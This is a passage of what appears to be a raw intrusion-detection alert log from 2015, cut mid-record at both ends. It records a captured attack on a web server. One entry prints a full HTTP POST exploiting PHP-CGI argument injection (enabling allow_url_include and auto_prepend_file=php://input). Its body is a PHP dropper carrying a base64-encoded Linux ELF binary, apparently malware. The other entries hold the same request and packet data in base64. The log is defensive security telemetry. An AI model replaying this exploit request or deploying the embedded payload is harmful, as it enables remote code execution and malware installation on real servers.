URzUUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQU9BQUNBRUFBQUFBQUFBRUFBQUFGQUFBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQUVBQUFBQUFBVFVNQUFBQUFBQUJOUXdBQUFBQUFBQUFBRUFBQUFBQUFBUUFBQUFZQUFBRGdtd0FBQUFBQUFPQ2JVQUFBQUFBQTRKdFFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUNablpaNFZWQllJUWdJRFJZQUFBQUFZSjRBQUdDZUFBQUFBZ0FBcUFBQUFBZ0FBQUM3K3lEL2YwVk1SZ0lCQVFBQ0FENEFHOUFiUUIvM04vbmVDeENnbHljNEFBZ0tRTnJhK3hzQUdnQUdIZ1ZQRGtCNXQybnZ3TFVQQ0U4RDRBVHRIZXdXOFVBUEhBc1BXNEZiTWdIZkd3K3hic2tIWklrQUFSQnZEdVF0M1FZZGtBNVFNTW5KeE42cDRBdHZBaWprZ21uTEtBK2d2NkRrVTA0dUJCd1BRRCtaOWc0Z0N3OEVVT1YwWkR1UTkzWVg1SUFkRGtDVXp4dWNhMjhQYjFGT0FTU0VZQVJQcUNSSmt2OWtod0FBV2pnQUFBaEpCd0J2LzdiOUwyeHBZalkwQ21RdEVHNTFlQzE0T0RZdEhpNXpieTdzL3J6Mk1nQUVBQUFRQmdGSFRsVUFBUUlBZHZJbTJRWUFReFpRU3cvUDh6enZQRDVKUUUweU85am5uVHhFU2dZSE9RQUI4N3JKbXhNV05NOHAxaGFlZDNMSk5pZ05OalUrZ3BQbmVVVk1JRTluNTNuZTdRc2ZTRDRGS3pGeU8zbWVKU29qSVE4NFRtNVhjQzBuUFE5SER2TTh6L01HT2tGR0d4Uk4wRDdQVGdnekFBRUQzSzZRcTE4UEdFY1FkOG56bkJVRUNoSVd1V0Mza3g4ZUR5YWZFVjNJeVRzdVJna2lMTjZGdklzZkJpWXdKeDRrUEp5OFN5OFdOeHhPUC9JOHovTVhHVUlkRENYdFZYSWFpZ0V1RXA1Y3lNazRicU5KQWhOeWRrSklBWTkyQUFYc2RpRW5ubXhmdkMva1FrWmVoUUFtS0xtUUMrUlB5UGZJa3dzNTlsN0hBQ1lJbmt6SUNBSWZjU0U1dVFpdmpzNjU0VUp1angrdkR3dTRrSk1MMVhTUmkwMGdMeDlxQUE2L01uc2h0NWt2YU8xRWozdnRZaWNYSVNEdm15K2NrQmZJZ2hVQ3ZncVo0b1dNQjJJQmp6c1h5TWdMSVFJWVZnSVpPYkVBWDk4THRJdmdndUVHYjFzZnljVTYwZWtIRkRjdFg1d0xPYm5Zenk4T3UwZGV5TWc4QVpWVUFMTUFGM0l5SWR6L3FveThrSkVCK0dZQTBGekl5WVdMOG1SeWNpRjNmOXdTUVZ1NzJBVmpYeXMvajNLNzJBQ2tYNlF2TlBKaVlSZjBiNys1QVN3TUZ6SmwxSzh2Y2pLeEYyb0NYNkxaWE1nRkZ4QWZ3ZklodDVDYzk3OHViaGR5Y2pmck0xOWlGekx5UWprQk5LMUdYc2hGbjFISkFGU1JGN3RBU0M4OEF4ZHl1NURoUysvSWtIWkFnV0VSQWcvb2o3a0lUaTZwU1U4bEZ6S0JQTG9BUEhHY1hNZ0YzNWdSUXJEUWRZRnhuejh1NUhheEx3cVByZTVlNFlYY0wzc2ZBYXZBYlIreGFSRkFsWnNJUHhlYm10QTlJQTlDNzBFNXViaHVqOVEvQ2xuL0Yrd0NGYjhBWDBwMlgxSmxaMmwyKyszL2MzUmxja05zWVhOelpYTW1YMmR0YjI1ZkpHRnlkQmIveE4rSkFIUndkR2h5WldGa1hqQUFkMkZ0VGJYOWFYUndhV1FBSW1OMmNGQnVEblFBV3J0cHYwTmZaWGhwR1dNS3JnQ21idHRkejk1YVlXTmpaUzU1cW05eWF5cHBaL2Jmbm0wbWRHbCszbWh1Y25KdWIxOXNiMk5oSlZ0M3NOZ2hDR1A5Tm01MGN2LzJhL1pqY0hrQUtIaHNHR1J2ZGFCMmMzQnlhVzUwWnUzK2JHc2ViaEdBVG5SdmJGOGFsRzVkY0ErMllWUm5aV3RtRHNSdFpXMVoyd1RYaVhES0ZpWmxiMkp0UmdMYkJOdmFnbXhsVGdwNWMzQk1EbXd6YTBCdlJQanVZMnRxam15c1dmc04xV1ptYkhWemFBeGpYQ0lBYXBXZEdScEtiUXg1YTJrTUp0Nkdaak55ekdsdVh3UmtjbXAwNE4xMjVuK1FjaFpsYTlycDRXRFEzVDRFRFc0VXJRcnNCSnY4dm0xd2QyUjFFT1J2Mm9FTi9qSmZTVTlmYUxxamZteG40R0F0V1c2TXhaSEF3T0IrWmhnaThuTnlZZlRSOXR1WndkTnVPQmxqZHlkb2Iyd3d3VDNEWW5rU0tHaVNDWEJCV3hoT2lXWjNhbEFvZDNkNGZtWVliUGIxY0hWbXNGWWdlQTh3L0hrUVh6UVEzT0lnT0hRN0FHUmhBalBzc0xoaFEyZVVoQ3FlUVFOYmJFMStjMEJtdFg4YlRHck9SMHhKUWtOZk1pNENOVzNydm80WE0wa0RBd2NEMXRLV3ZCWURDeWZrYW0vRUE1ZVBCQkFzdHExYkt5dFBudDZxVHdJa25oQjFHclozdThacENhcDJRUUZTcVQrMzkvazFZaE5wYVEyQ0FpZGZBbVNZOFNISWtWREhUeTk1dzVVL0JTNUs2QWZiSkRQb0FGNWFyd0h3ajhrbGwzUXZBdmdEa2tzbWVRQ1NCQWhMTHJua0JSQUdMcm5ra2hnSElBaTU1SkpMS0FrdzVKSkxMZ280QzVKTExybEFERWhMTHJua0RWQU9Mcm5ra2xnUFlCQzU1SkpMYUJGdzVKSkxMaEo0RTVKTExybUFGSWhMTHJua0ZaQVdMcm5ra3BnWG9CaTU1SkpMcUJtdzVKSkxMaHE0RzVKTExybkFITWhMTHJua0hkQWVMcm5ra3RnZjRDQ0FuSnlJLzJGYklTUURNc21TSXBJZ2t3eklJNU1reVlCTU1wTWxrOGdrQXpJbWt5Y3lJSk1Na3lpVE1zbUFUQ21US2d6SUpBT1RLNU5NTWlDVExKTXRBekxKZ0pNdWs1TU15Q1F2a3pDQVRESWdrekVrQXpMSmt6S1RJSk1NeURPVE5NbUFUREtUTlpQSUpBTXlOcE0zTWlDVERKTTRrekxKZ0V3NWt6b015Q1FEa3p1VFRESWdrenlUUFFNeXlZQ1RQcE9URE1na1A1TkFBVGs1SVdSY1FVa0daSktUUXBOQUpobVFRNVJFa2dHWlpKUkZsSkJKQm1SR2xFZGtRQ1labEVpVVpKSUJtVW1VVEJtUVNRYVVUWlI5ZUVBbVRvUHNDRVlaK08vLzdmTUlHbHh1SENURUNNUC9OZEo2RUFEL0pkUUtrSFlxZFhZQUVoOW9GUlQ4SHBMS0pKWEtBY0lDcERKSlpib0RzZ1NwVEZLWnFnV2lCaXFUVkNhYUI1SUl5aVNWU1lvSmdqSkpaWklLZWd0eVRGS1pwQXhxRFdLVFZDYXBEbG9QVWlTVlNTb1FTaEZKWlpMS1FoSTZFMUtacERJeUZDb1ZWQ2FwVENJV0doZVZTU3FURWhnS0dYT1N5aVFDR3ZwNW1hUXl5UnZ5SE9vbXFVeFNIZUllMmtrcWsxUWYwaUNTeWlTVnlpSENJcVF5U1dXNkk3SWtxVXhTbWFvbG9pWXFrMVFtbWllU0tNb2tsVW1LS1lJeVNXV1NLbm9yY2t4U21hUXNhaTFpazFRbXFTNWFMMUlrbFVrcU1Fb3hTV1dTeWtJeU9qTlNtYVF5TWpRcU5WUW1xVXdpTmhvM2xVa3FreEk0Q2psemtzb2tBanI2ZUpta01zazc4anpxSnFsTVVqM2lQdHBKS3BOVVA5SkFrc29rbGNwQndrS2tNa2xsdWtPeVJLbE1VcG1xUmFKR0twTlVKcHBIa2tqS0pKVkppa21DUDBobGtrcDZTMGd4N1VtSkJmOEYrTkZlU0luaXZPVHdVRlJK","payload_printable":"POST \/cgi-bin\/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%22%79%65%73%22+%2D%64+%63%67%69%2E%66%69%78%5F%70%61%74%68%69%6E%66%6F%3D%31+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP\/1.1\r\nHost: 128.101.111.14\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.3; rv:36.0) Gecko\/20100101 Firefox\/36.0\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 43368\r\nConnection: close\r\n\r\n<?php\n$bufferf = 'f0VMRgIBAQMAAAAAAAAAAAIAPgABAAAAUDsQAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAACAEAAAAAAAAEAAAAFAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAATUMAAAAAAABNQwAAAAAAAAAAEAAAAAAAAQAAAAYAAADgmwAAAAAAAOCbUAAAAAAA4JtQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAACZnZZ4VVBYIQgIDRYAAAAAYJ4AAGCeAAAAAgAAqAAAAAgAAAC7+yD\/f0VMRgIBAQACAD4AG9AbQB\/3N\/neCxCglyc4AAgKQNra+xsAGgAGHgVPDkB5t2nvwLUPCE8D4ATtHewW8UAPHAsPW4FbMgHfGw+xbskHZIkAARBvDuQt3QYdkA5QMMnJxN6p4AtvAijkgmnLKA+gv6DkU04uBBwPQD+Z9g4gCw8EUOV0ZDuQ93YX5IAdDkCUzxuca28Pb1FOASSEYARPqCRJkv9khwAAWjgAAAhJBwBv\/7b9L2xpYjY0CmQtEG51eC14ODYtHi5zby7s\/rz2MgAEAAAQBgFHTlUAAQIAdvIm2QYAQxZQSw\/P8zzvPD5JQE0yO9jnnTxESgYHOQAB87rJmxMWNM8p1haed3LJNigNNjU+gpPneUVMIE9n53ne7QsfSD4FKzFyO3meJSojIQ84Tm5XcC0nPQ9HDvM8z\/MGOkFGGxRN0D7PTggzAAED3K6Qq18PGEcQd8nznBUEChIWuWC3kx8eDyafEV3IyTsuRgkiLN6FvIsfBiYwJx4kPJy8Sy8WNxxOP\/I8z\/MXGUIdDCXtVXIaigEuEp5cyMk4bqNJAhNydkJIAY92AAXsdiEnnmxfvC\/kQkZehQAmKLmQC+RPyPfIkws59l7HACYInkzICAIfcSE5uQivjs654UJujx+vDwu4kJML1XSRi00gLx9qAA6\/Mnsht5kvaO1Ej3vtYicXISDvmy+ckBfIghUCvgqZ4oWMB2IBjzsXyMgLIQIYVgIZObEAX98LtIvgguEGb1sfycU60ekHFDctX5wLObnYzy8Ou0deyMg8AZVUALMAF3IyIdz\/qoy8kJEB+GYA0FzIyYWL8mRyciF3f9wSQVu72AVjXys\/j3K72ACkX6QvNPJiYRf0b7+5ASwMFzJl1K8vcjKxF2oCX6LZXMgFFxAfwfIht5Cc978ubhdycjfrM19iFzLyQjkBNK1GXshFn1HJAFSRF7tASC88Axdyu5DhS+\/IkHZAgWERAg\/oj7kITi6pSU8lFzKBPLoAPHGcXMgF35gRQrDQdYFxnz8u5HaxLwqPre5e4YXcL3sfAavAbR+xaRFAlZsIPxebmtA9IA9C70E5ubhuj9Q\/Cln\/F+wCFb8AX0p2X1JlZ2l2++3\/c3RlckNsYXNzZXMmX2dtb25fJGFydBb\/xN+JAHRwdGhyZWFkXjAAd2FtTbX9aXRwaWQAImN2cFBuDnQAWrtpv0NfZXhpGWMKrgCmbttdz95aYWNjZS55qm9yayppZ\/bfnm0mdGl+3mhucnJub19sb2NhJVt3sNghCGP9Nm50cv\/2a\/ZjcHkAKHhsGGRvdaB2c3ByaW50Zu3+bGsebhGATnRvbF8alG5dcA+2YVRnZWtmDsRtZW1Z2wTXiXDKFiZlb2JtRgLbBNvagmxlTgp5c3BMDmwza0BvRPjuY2tqjmysWfsN1WZmbHVzaAxjXCIAapWdGRpKbQx5a2kMJt6GZjNyzGluXwRkcmp04N125n+QchZla9rp4WDQ3T4EDW4UrQrsBJv8vm1wd2R1EORv2oEN\/jJfSU9faLqjfmxn4GAtWW6MxZHAwOB+Zhgi8nNyYfTR9tuZwdNuOBljdydob2wwwT3DYnkSKGiSCXBBWxhOiWZ3alAod3d4fmYYbPb1cHVmsFYgeA8w\/HkQXzQQ3OIgOHQ7AGRhAjPssLhhQ2eUhCqeQQNbbE1+c0BmtX8bTGrOR0xJQkNfMi4CNW3rvo4XM0kDAwcD1tKWvBYDCyfkam\/EA5ePBBAstq1bKytPnt6qTwIknhB1GrZ3u8ZpCap2QQFSqT+39\/k1YhNpaQ2CAidfAmSY8SHIkVDHTy95w5U\/BS5K6AfbJDPoAF5arwHwj8kll3QvAvgDkksmeQCSBAhLLrnkBRAGLrnkkhgHIAi55JJLKAkw5JJLLgo4C5JLLrlADEhLLrnkDVAOLrnkklgPYBC55JJLaBFw5JJLLhJ4E5JLLrmAFIhLLrnkFZAWLrnkkpgXoBi55JJLqBmw5JJLLhq4G5JLLrnAHMhLLrnkHdAeLrnkktgf4CCAnJyI\/2FbISQDMsmSIpIgkwzII5MkyYBMMpMlk8gkAzImkycyIJMMkyiTMsmATCmTKgzIJAOTK5NMMiCTLJMtAzLJgJMuk5MMyCQvkzCATDIgkzEkAzLJkzKTIJMMyDOTNMmATDKTNZPIJAMyNpM3MiCTDJM4kzLJgEw5kzoMyCQDkzuTTDIgkzyTPQMyyYCTPpOTDMgkP5NAATk5IWRcQUkGZJKTQpNAJhmQQ5REkgGZZJRFlJBJBmRGlEdkQCYZlEiUZJIBmUmUTBmQSQaUTZR9eEAmToPsCEYZ+O\/\/7fMIGlxuHCTECMP\/NdJ6EAD\/JdQKkHYqdXYAEh9oFRT8HpLKJJXKAcICpDJJZboDsgSpTFKZqgWiBiqTVCaaB5IIyiSVSYoJgjJJZZIKegtyTFKZpAxqDWKTVCapDloPUiSVSSoQShFJZZLKQhI6E1KZpDIyFCoVVCapTCIWGheVSSqTEhgKGXOSyiQCGvp5maQyyRvyHOomqUxSHeIe2kkqk1Qf0iCSyiSVyiHCIqQySWW6I7IkqUxSmaoloiYqk1QmmieSKMoklUmKKYIySWWSKnorckxSmaQsai1ik1QmqS5aL1IklUkqMEoxSWWSykIyOjNSmaQyMjQqNVQmqUwiNho3lUkqkxI4CjlzksokAjr6eJmkMsk78jzqJqlMUj3iPtpJKpNUP9JAksoklcpBwkKkMkllukOyRKlMUpmqRaJGKpNUJppHkkjKJJVJikmCP0hlkkp6S0gx7UmJBf8F+NFeSInivOTwUFRJx8Cgb5pIwD\/w78fB","stream":1,"packet":"fK10kl+AfK10kj0AgQAOfggARQAF3B2fQAA4BpSAW3lAEIBlbw7hLgBQSnxXuMwd13OAEABzz3YAAAEBCAoDoFta1F+brmd6MzBEakF3N2hhSUhqKzh4a2ZVLzJIZ3k4dSsrc0R4Z0krM3l3VzdFaU5CQU13OXYrMkJsRC94a0QvUEExMDVUd0tkT0ZidzErRUgvNDVqeFU4Zy9qL2RBVmZ2d0U0dHJiOS94aWNQeUZmYkRrVVV5dm9lRjFtQjkxM3cvZDdHRUJjMkJZQmRDWkVGd3dZOENudGZraVlTUGMxeGlSSXVJVC93UENjSFZ6QUQ4aUp2dzRqRjd3dHUzYy9heVZJbVA4WG5QYjNQNFNKWENUd1RJbGtKUGhTS0VHSi9DQ1BPNHYxNFVHNEVNeTZGVmhxbllVTTd3UWtIZy9lWjZHc2RwdmNmbEJFaWVkWEZEV0xxTGMxdk9ZWVRJc2c0aWpqQmtGV1FSYmMvdnRWUVZSVlU5b2dUSTEwSkJ3SWJDUUV0dFIyY084ZWI4Y0ZHbnlzQU5BY205Szl0aTFvRDRTZ0hoMHlzRDRBMHdhaURTc012d2ExSUs1d204M2tlM2ppUGV1RTBMeVREUExPZHgyWkp0Zi93Mis0N3lDSlJQNDlwSDRNOHI0aFZOTnNzQmgrd0diaXZBcEU3cWJCM1RWTEhESC82WXpGNno0aE0zamF3VHpISFhCcnVqYzAzL0ViV3VZRXc5ZDBiWXNEUW1wMFpvUG9EenNNdDNJT0FYY2E2eGZza3lub1NHVEIwMjR5Q1hheWhDaEl4QzE4STgrQ1hiMHM2VXdjZ2h3WXRxRjlqL3c3MUVoalVCUW9RTGFKN2d4QnMzMitPRkFWVEIwQ1R1UjZSWEJEMnFCNE1jbTZEUlV5eWtBT3VaQUNzQWwvMFA3RmFDQmJYVUZjUVFaZW9ReVo5ejBaOGRYQlUzUklZK1FFMVpER29HaGdmZ2FCZTAyaXY0NDB2K2xVb1BkSmlkUlZVL09KM3YvL2I5ckM2eGJsU0lueVNQL0JTSTEyQVlBNklYUUpTRG5JMWVCV24zVVVDd09MTFJZaUVBVUxHclFFN3JjTTVIVXBQa0hoYThQL2dEd2tPZytVd0VrQnhBanRkUHp2UEdqUTBFVmNDT2M1TEJUZWVUdUF5OEJqa0ZEWEJJSVBQbDdWK3V2RUdBTXg5Z0FGLzg5ZXF2ODV3bk1TZ0RzZ2RBMy94aEREc01kOUJhTFdJbkx1Q0RNZ0ZVVlM4RzAyS29QNUJIN1dmdCtXTDVmS0lNRVpOVlo1SHE3Y0Mza1BoYU9pQm5ZQXJHQWcyQnQ0TkMza0MwNFJJWFI4R1FKKzJ0WXdDaVlQQzRzT08zcjBVNnpBU0xJUVRHd0NMNEMxT3pSY0VxQURpQVY0T0I5cG14UVFRd0VTYlFMR0JXQngyc1AxLzEwUENEWlFrRHRlOHdnWXc1Mzk3T0FXN1Y2Zk1oWXdBMXpybzFoM0xEQ2ZZUkZaV3dnL3JzSUpLa1l1cUp1OEdoejhSSE9jdjRod1FGekNwOEExWUFYb1p4dzEzNzBBZzZjaGpuODRlb2Zkc1pwc1lmOVZOUHp3YXdCUjFReVV5d2kvZTJ1TE5IUXd4dlVFMCtzTWtOOHAwM1FaU0FFYW5BSzB4UlRhaHU0YlhIS3Q0NjhZQUh3VGRkK3E2RURZMDAzeHIyWUZ3OXVET0FSMUJsaTI2OEZ0Z0EzcXg4QkY2OXphM3lqNGl1N1RmN3dHdzNVQ1c4T0ZnUUVLZmtGWGpVSURGdGZ2THFEQlAwMzFTVEh0UUREdE9Sait5cldpTmtTWStNYmFFUFpCd2Y4QzFUdkhpYWtXM0hzakVCNjdNZTNlN0EzTUdJaFVQM1FHYlREYno3Q0s3V001NEFGN2hFd3hzSW05eGlBQVFRSzlQSzN0Mk42OGhkc1BqaElpM0JZVUpBWk1Yb21HMzk3dzBJUGlBN3dDd2VJRUhzQkFpcWlnZ043RnRkZi9p","alert":{"action":"allowed","gid":1,"signature_id":2016979,"rev":4,"signature":"ET WEB_SERVER suhosin.simulation PHP config option in uri","category":"A Network Trojan was Detected","severity":1,"tx_id":0}}
|
|
{"timestamp":"2015-04-07T11:30:44.546943","flow_id":140262261274608,"in_iface":"snf0","event_type":"alert","vlan":3710,"src_ip":"91.121.64.16","src_port":57646,"dest_ip":"128.101.111.14","dest_port":80,"proto":"TCP","payload":"cMladbN\/AAAAEAAA\/w8AAFBPU1QgL2NnaS1iaW4vcGhwPyUyRCU2NCslNjElNkMlNkMlNkYlNzclNUYlNzUlNzIlNkMlNUYlNjklNkUlNjMlNkMlNzUlNjQlNjUlM0QlNkYlNkUrJTJEJTY0KyU3MyU2MSU2NiU2NSU1RiU2RCU2RiU2NCU2NSUzRCU2RiU2NiU2NislMkQlNjQrJTczJTc1JTY4JTZGJTczJTY5JTZFJTJFJTczJTY5JTZEJTc1JTZDJTYxJTc0JTY5JTZGJTZFJTNEJTZGJTZFKyUyRCU2NCslNjQlNjklNzMlNjElNjIlNkMlNjUlNUYlNjYlNzUlNkUlNjMlNzQlNjklNkYlNkUlNzMlM0QlMjIlMjIrJTJEJTY0KyU2RiU3MCU2NSU2RSU1RiU2MiU2MSU3MyU2NSU2NCU2OSU3MiUzRCU2RSU2RiU2RSU2NSslMkQlNjQrJTYxJTc1JTc0JTZGJTVGJTcwJTcyJTY1JTcwJTY1JTZFJTY0JTVGJTY2JTY5JTZDJTY1JTNEJTcwJTY4JTcwJTNBJTJGJTJGJTY5JTZFJTcwJTc1JTc0KyUyRCU2NCslNjMlNjclNjklMkUlNjYlNkYlNzIlNjMlNjUlNUYlNzIlNjUlNjQlNjklNzIlNjUlNjMlNzQlM0QlMzArJTJEJTY0KyU2MyU2NyU2OSUyRSU3MiU2NSU2NCU2OSU3MiU2NSU2MyU3NCU1RiU3MyU3NCU2MSU3NCU3NSU3MyU1RiU2NSU2RSU3NiUzRCUyMiU3OSU2NSU3MyUyMislMkQlNjQrJTYzJTY3JTY5JTJFJTY2JTY5JTc4JTVGJTcwJTYxJTc0JTY4JTY5JTZFJTY2JTZGJTNEJTMxKyUyRCU2NCslNjElNzUlNzQlNkYlNUYlNzAlNzIlNjUlNzAlNjUlNkUlNjQlNUYlNjYlNjklNkMlNjUlM0QlNzAlNjglNzAlM0ElMkYlMkYlNjklNkUlNzAlNzUlNzQrJTJEJTZFIEhUVFAvMS4xDQpIb3N0OiAxMjguMTAxLjExMS4xNA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4zOyBydjozNi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzM2LjANCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpDb250ZW50LUxlbmd0aDogNDMzNjgNCkNvbm5lY3Rpb246IGNsb3NlDQoNCjw\/cGhwCiRidWZmZXJmID0gJ2YwVk1SZ0lCQVFNQUFBQUFBQUFBQUFJQVBnQUJBQUFBVURzUUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQU9BQUNBRUFBQUFBQUFBRUFBQUFGQUFBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQUVBQUFBQUFBVFVNQUFBQUFBQUJOUXdBQUFBQUFBQUFBRUFBQUFBQUFBUUFBQUFZQUFBRGdtd0FBQUFBQUFPQ2JVQUFBQUFBQTRKdFFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUNablpaNFZWQllJUWdJRFJZQUFBQUFZSjRBQUdDZUFBQUFBZ0FBcUFBQUFBZ0FBQUM3K3lEL2YwVk1SZ0lCQVFBQ0FENEFHOUFiUUIvM04vbmVDeENnbHljNEFBZ0tRTnJhK3hzQUdnQUdIZ1ZQRGtCNXQybnZ3TFVQQ0U4RDRBVHRIZXdXOFVBUEhBc1BXNEZiTWdIZkd3K3hic2tIWklrQUFSQnZEdVF0M1FZZGtBNVFNTW5KeE42cDRBdHZBaWprZ21uTEtBK2d2NkRrVTA0dUJCd1BRRCtaOWc0Z0N3OEVVT1YwWkR1UTkzWVg1SUFkRGtDVXp4dWNhMjhQYjFGT0FTU0VZQVJQcUNSSmt2OWtod0FBV2pnQUFBaEpCd0J2LzdiOUwyeHBZalkwQ21RdEVHNTFlQzE0T0RZdEhpNXpieTdzL3J6Mk1nQUVBQUFRQmdGSFRsVUFBUUlBZHZJbTJRWUFReFpRU3cvUDh6enZQRDVKUUUweU85am5uVHhFU2dZSE9RQUI4N3JKbXhNV05NOHAxaGFlZDNMSk5pZ05OalUrZ3BQbmVVVk1JRTluNTNuZTdRc2ZTRDRGS3pGeU8zbWVKU29qSVE4NFRtNVhjQzBuUFE5SER2TTh6L01HT2tGR0d4Uk4wRDdQVGdnekFBRUQzSzZRcTE4UEdFY1FkOG56bkJVRUNoSVd1V0Mza3g4ZUR5YWZFVjNJeVRzdVJna2lMTjZGdklzZkJpWXdKeDRrUEp5OFN5OFdOeHhPUC9JOHovTVhHVUlkRENYdFZYSWFpZ0V1RXA1Y3lNazRicU5KQWhOeWRrSklBWTkyQUFYc2RpRW5ubXhmdkMva1FrWmVoUUFtS0xtUUMrUlB5UGZJa3dzNTlsN0hBQ1lJbmt6SUNBSWZjU0U1dVFpdmpzNjU0VUp1angrdkR3dTRrSk1MMVhTUmkwMGdMeDlxQUE2L01uc2h0NWt2YU8xRWozdnRZaWNYSVNEdm15K2NrQmZJZ2hVQ3ZncVo0b1dNQjJJQmp6c1h5TWdMSVFJWVZnSVpPYkVBWDk4THRJdmdndUVHYjFzZnljVTYwZWtIRkRjdFg1d0xPYm5Zenk4T3UwZGV5TWc4QVpWVUFMTUFGM0l5SWR6L3FveThrSkVCK0dZQTBGekl5WVdMOG1SeWNpRjNmOXdTUVZ1NzJBVmpYeXMvajNLNzJBQ2tYNlF2TlBKaVlSZjBiNys1QVN3TUZ6SmwxSzh2Y2pLeEYyb0NYNkxaWE1nRkZ4QWZ3ZklodDVDYzk3OHViaGR5Y2pmck0xOWlGekx5UWprQk5LMUdYc2hGbjFISkFGU1JGN3RBU0M4OEF4ZHl1NURoUysvSWtIWkFnV0VSQWcvb2o3a0lUaTZwU1U4bEZ6S0JQTG9BUEhHY1hNZ0YzNWdSUXJEUWRZRnhuejh1NUhheEx3cVByZTVlNFlYY0wzc2ZBYXZBYlIreGFSRkFsWnNJUHhlYm10QTlJQTlDNzBFNXViaHVqOVEvQ2xuL0Yrd0NGYjhBWDBwMlgxSmxaMmwyKyszL2MzUmxja05zWVhOelpYTW1YMmR0YjI1ZkpHRnlkQmIveE4rSkFIUndkR2h5WldGa1hqQUFkMkZ0VGJYOWFYUndhV1FBSW1OMmNGQnVEblFBV3J0cHYwTmZaWGhwR1dNS3JnQ21idHRkejk1YVlXTmpaUzU1cW05eWF5cHBaL2Jmbm0wbWRHbCszbWh1Y25KdWIxOXNiMk5oSlZ0M3NOZ2hDR1A5Tm01MGN2LzJhL1pqY0hrQUtIaHNHR1J2ZGFCMmMzQnlhVzUwWnUzK2JHc2ViaEdBVG5SdmJGOGFsRzVkY0ErMllWUm5aV3RtRHNSdFpXMVoyd1RYaVhES0ZpWmxiMkp0UmdMYkJOdmFnbXhsVGdwNWMzQk1EbXd6YTBCdlJQanVZMnRxam15c1dmc04xV1ptYkhWemFBeGpYQ0lBYXBXZEdScEtiUXg1YTJrTUp0Nkdaak55ekdsdVh3UmtjbXAwNE4xMjVuK1FjaFpsYTlycDRXRFEzVDRFRFc0VXJRcnNCSnY4dm0xd2QyUjFFT1J2Mm9FTi9qSmZTVTlmYUxxamZteG40R0F0V1c2TXhaSEF3T0IrWmhnaThuTnlZZlRSOXR1WndkTnVPQmxqZHlkb2Iyd3d3VDNEWW5rU0tHaVNDWEJCV3hoT2lXWjNhbEFvZDNkNGZtWVliUGIxY0hWbXNGWWdlQTh3L0hrUVh6UVEzT0lnT0hRN0FHUmhBalBzc0xoaFEyZVVoQ3FlUVFOYmJFMStjMEJtdFg4YlRHck9SMHhKUWtOZk1pNENOVzNydm80WE0wa0RBd2NEMXRLV3ZCWURDeWZrYW0vRUE1ZVBCQkFzdHExYkt5dFBudDZxVHdJa25oQjFHclozdThacENhcDJRUUZTcVQrMzkvazFZaE5wYVEyQ0FpZGZBbVNZOFNISWtWREhUeTk1dzVVL0JTNUs2QWZiSkRQb0FGNWFyd0h3ajhrbGwzUXZBdmdEa2tzbWVRQ1NCQWhMTHJua0JSQUdMcm5ra2hnSElBaTU1SkpMS0FrdzVKSkxMZ280QzVKTExybEFERWhMTHJua0RWQU9Mcm5ra2xnUFlCQzU1SkpMYUJGdzVKSkxMaEo0RTVKTExybUFGSWhMTHJua0ZaQVdMcm5ra3BnWG9CaTU1SkpMcUJtdzVKSkxMaHE0RzVKTExybkFITWhMTHJua0hkQWVMcm5ra3RnZjRDQ0FuSnlJLzJGYklTUURNc21TSXBJZ2t3eklJNU1reVlCTU1wTWxrOGdrQXpJbWt5Y3lJSk1Na3lpVE1zbUFUQ21US2d6SUpBT1RLNU5NTWlDVExKTXRBekxKZ0pNdWs1TU15Q1F2a3pDQVRESWdrekVrQXpMSmt6S1RJSk1NeURPVE5NbUFUREtUTlpQSUpBTXlOcE0zTWlDVERKTTRrekxKZ0V3NWt6b015Q1FEa3p1VFRESWdrenlUUFFNeXlZQ1RQcE9URE1na1A1TkFBVGs1SVdSY1FVa0daSktUUXBOQUpobVFRNVJFa2dHWlpKUkZsSkJKQm1SR2xFZGtRQ1labEVpVVpKSUJtVW1VVEJtUVNRYVVUWlI5ZUVBbVRvUHNDRVlaK08vLzdmTUlHbHh1SENURUNNUC9OZEo2RUFEL0pkUUtrSFlxZFhZQUVoOW9GUlQ4SHBMS0pKWEtBY0lDcERKSlpib0RzZ1NwVEZLWnFnV2lCaXFUVkNhYUI1SUl5aVNWU1lvSmdqSkpaWklLZWd0eVRGS1pwQXhxRFdLVFZDYXBEbG9QVWlTVlNTb1FTaEZKWlpMS1FoSTZFMUtacERJeUZDb1ZWQ2FwVENJV0doZVZTU3FURWhnS0dYT1N5aVFDR3ZwNW1hUXl5UnZ5SE9vbXFVeFNIZUllMmtrcWsxUWYwaUNTeWlTVnlpSENJcVF5U1dXNkk3SWtxVXhTbWFvbG9pWXFrMVFtbWllU0tNb2tsVW1LS1lJeVNXV1NLbm9yY2t4U21h